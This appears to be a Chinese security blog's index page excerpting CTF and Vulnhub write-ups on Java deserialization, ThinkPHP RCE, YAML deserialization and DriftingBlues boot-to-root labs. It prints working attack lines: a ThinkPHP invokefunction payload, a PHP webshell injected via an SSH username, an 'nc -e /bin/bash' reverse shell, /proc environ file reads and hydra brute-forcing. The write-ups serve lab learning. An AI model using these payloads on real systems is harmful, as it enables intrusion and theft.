java反序列化-Rome
参考文章
从零开始分析
ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。
Rome 提供了 ToStringBean 这个类,提供深入的 toString 方法对JavaBean进行操作。
环境搭建Idea 新建一个Maven项目
这里直接到maven包就行了
123456789101112131415161718<dependencies> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.11</version> <scope>test</scope> </ ...
Java安全之BCEL ClassLoader
参考文章
前言BCEL平常在测试反序列化的时候也经常会用到,比如延时测Gadget以及在某些场景下执行命令不是那么顺手的情况下选择BCEL去打内存马,就像Fastjson和Thymeleaf SSTI这种。以前也只是用到这个BCEL但是没有仔细学习过,下面简单学习记录下BCEL。
Java安全之BCEL ClassLoader目录
Java安全之BCEL ClassLoader
写在前面
About BCEL
调试分析
食用姿势
Fuzz反序列化Gadget
Fastjson BCEL Payload
Thymeleaf SSTI Payload
写在前面#BCEL平常在测试反序列化的时候也经常会用到,比如延时测Gadget以及在某些场景下执行命令不是那么顺手的情况下选择BCEL去打内存马,就像Fastjson和Thymeleaf SSTI这种。以前也只是用到这个BCEL但是没有仔细学习过,下面简单学习记录下BCEL。
About BCELBCEL Classloader在 JDK < 8u251之前是在rt.jar里面。同时在Tomcat中也会存在相关的依赖tomc ...
DASCTF-WEB-复现
ezjxpathcve-2022-41852
这里看别的师傅的博客写的是TCTF中的非预期解
刚开始的时候,发现这是个CVE漏洞,但是google能搜到的方法他全给ban了,所以这个得自己去找利用链子来打
这里的话是给了一个不知道啥玩意的东西,然后把jar包下载下来进行查看
就是这里产生了漏洞利用点
网上能查到的payload
123456789public static void main(String[] args) { try { JXPathContext context = JXPathContext.newContext(null); context.getValue("exec(java.lang.Runtime.getRuntime(), 'calc')"); } catch (Exception e) { e.printStackTrace(); }}
12345678public static void ...
无题
DAS4-你听说过 js 的 webshell 吗的解题思路题目信息
题目名
类型
难度
DAS4-你听说过 js 的 webshell 吗
WEB
困难
FLAG
DASCTF{test_flag}
知识点
代码审计 nodejs
命令执行
nodejs 源代码泄漏
coding 其他 git 托管凭据泄漏
解题步骤基本信息打开网页
直接打开 f12 发现 api 与注释
目录扫描这里其实想说的是扫描该网站 看看有没有发现
1234567891011121314151617181920212223242526272829$ dirsearch -u http://127.0.0.1 # 这里不需要引入任何字典 泄漏的文件相当常见 _|. _ _ _ _ _ _|_ v0.4.2.8 (_||| _) (/_(_|| (_| )Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11458Output File: /tmp ...
HDCTF-2023-WEB
这里的话是只记录自己不会的知识点
[HDCTF 2023]YamiYami
这是一个考点,考查的是yaml 的python反序列化
可以看看这篇文章来了解一下YAML
Python反序列化漏洞分析
这里的话就是一共有三种python反序列化类型
pickle YAML Marshal
题目
这里的话有三个选项可以进去进行查看,然后点进Read something会发现他的url是可以进行文件读取的
于是进行尝试,这里的话直接读文件的是读取不了的,得需要用file伪协议来进行读取
成功进行读取
但是这里不知道flag名称,所以不能进行读取,但是能可以尝试读取一下环境变量
那么这就是非预期解了
payload
1http://node2.anna.nssctf.cn:28523/read?url=file:///../../../../../proc/1/environ
这里/proc/1/environ的意思就是进程为1的环境变量
/proc/x/envrion这就是查看任意进程的环境变量的方法
查看进程 ps aux
a:显示当前终端下的所有进程信息,包括其他用户的进程。 ...
DASCTF-su-web-wp
【困难】pdf_converter这题是非预期解做出来的,就是直接打thinkphp模板漏洞
发现版本
找到漏洞利用点
然后直接网上找payload直接打
1/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=命令参数
easyRE给了一个exe文件,直接反编译成pyc文件,但是发现这是用3.11编写的,所以uncompyle6用不了,那就只能使用pycdc来看字节码(如下)
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970[Constants] 0 None 322376503 'Enter your flag: ' b ...
Vulnhub——DriftingBlues-4
先扫一下c段,发现一下靶机地址
然后扫一下端口
开了三个端口 先尝试看能否进行ftp登录
发现不行,不能匿名登录
于是查看一下80端口
发现源码存在一段base64加密的密文,于是尝试进行解密‘
最后解密的到这个路径 然后进行访问··
访问得到以下的一些符号,于是进行解密
利用上面的在线网址进行解密,发现存在这个一个图片路径 /iTiS3Cr3TbiTCh.png
访问之后得到一个二维码,然后进行访问,得到以下的信息
于是猜测这几个是用户名,于是尝试进行ssh爆破试试,先将这几个用户名保存为user1.txt
1hydra -L user1.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.142.146
爆破失败,没有匹配的密码
于是就尝试爆破一下ftp
1hydra -L user1.txt -P /usr/share/wordlists/rockyou.txt ftp://192.168.142.146
破解出一个FTP登录的用户名和密码:luther/mypics`
成功登入,然后切换到 ...
DriftingBlues-3
还是先扫一下c段
进行端口扫描
然后进行访问
进行访问
访问给的/littlequeenofspades.html
然后查看源码,发现一段base64编码的代码,然后进行解码发现
于是进行访问
发现这是个ssh日志记录 可以尝试进行日志里写后门
看到出现ssh auth log --> ssh身份验证日志,并且注意到登录用户名显示在日志中,也就是说如果我们使用ssh登陆时,将用户名写成一句话就可以写马进日志中
1使用命令:ssh '<?php system($_GET["a"]);?>'@192.168.142.142
然后尝试看马有没有写进去
1http://192.168.142.144/adminsfixit.php?a=whoami
发现可以进行命令执行 然后进行nc 反弹shell
123kali开启监听:nc -lvnp 4444?xa=nc -e /bin/bash 192.168.142.129 4444python -c 'import pty; pty.spawn(& ...
Vulnhub——DriftingBlues-2
(tmd,配置个网卡配置半天)
还是先扫一下c段
然后进行端口扫描
扫描发现了三个端口 多出来的21端口是ftp服务,那么我们就可以去尝试一下,看能不能匿名登录
123ftp 192.168.142.142用户名:anonymous密码:空
成功进行登录
里面只有一张图片,没啥用,然后进行端口扫描
只访问这个blog的话是wordpress框架的
然后尝试进行使用该框架的扫描工具 wpscan进行扫描
1wpscan --url http://192.168.142.142/blog/ -e u
扫到一个用户 于是尝试进行密码破解
1wpscan --url http://192.168.142.142/blog/ --passwords /usr/share/wordlists/rockyou.txt --usernames albert
爆破到密码了
扫到后台了,于是尝试进行登录
得先进行域名的dns配置好
进行修改成功
成功进入后台,那么我们就得寻找可以进行漏洞利用的地方了
这就是漏洞利用的点
修改后的代码
12345678910$ip=&quo ...
Vulnhub——DriftingBlues-1
还是先扫一下c段,发现一下靶机的位置
发现靶机的ip地址,于是尝试进行端口扫描
发现两个ip端口,于是尝试进行访问
发现一个网站
就是一个静态页面,于是尝试进行目录扫描(没扫到东西)
于是查看原源码发现存在一段base64编码的东西
进行解码
发现这一段串东西 一大堆ok,于是尝试去进行ok解码
解码成功
解码地址
这里的提示是修改域名,于是我们尝试进行域名的修改
然后尝试对该域名进行子域名扫描
使用的工具是gobuster
1gobuster vhost -u driftingblues.box -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt --append-domain
这里的话必须得加上--append-domain,不然扫不出来,因为这里卡了好久
这里有有两个 200的状态码 所以我们需要把test.driftingblues.box域名也添加到hosts中
成功添加进去了
不知道是啥东西,于是先尝试进行目录扫描
扫到一个爬虫协议的文本
于是挨个进行访问
那么 ...